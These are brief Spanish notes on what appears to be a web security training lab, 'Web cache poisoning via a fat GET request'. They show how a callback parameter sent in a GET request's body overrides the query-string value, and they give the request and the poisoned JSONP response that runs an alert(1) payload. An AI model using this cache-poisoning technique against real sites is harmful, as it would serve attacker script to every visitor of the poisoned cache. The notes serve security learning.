8 - Web cache poisoning via a fat GET request

Podemos usar find FAT GET

Acepta parametros POST en una petición GET :

GET /js/geolocate.js

callback=test
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
test({"country":"United Kingdom"});

La cosa sería enviarlo con ambos, como argumento y en el body , se pondrá el del body

GET /js/geolocate.js?callback=setCountryCookie

callback=alert(1)//
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)//({"country":"United Kingdom"});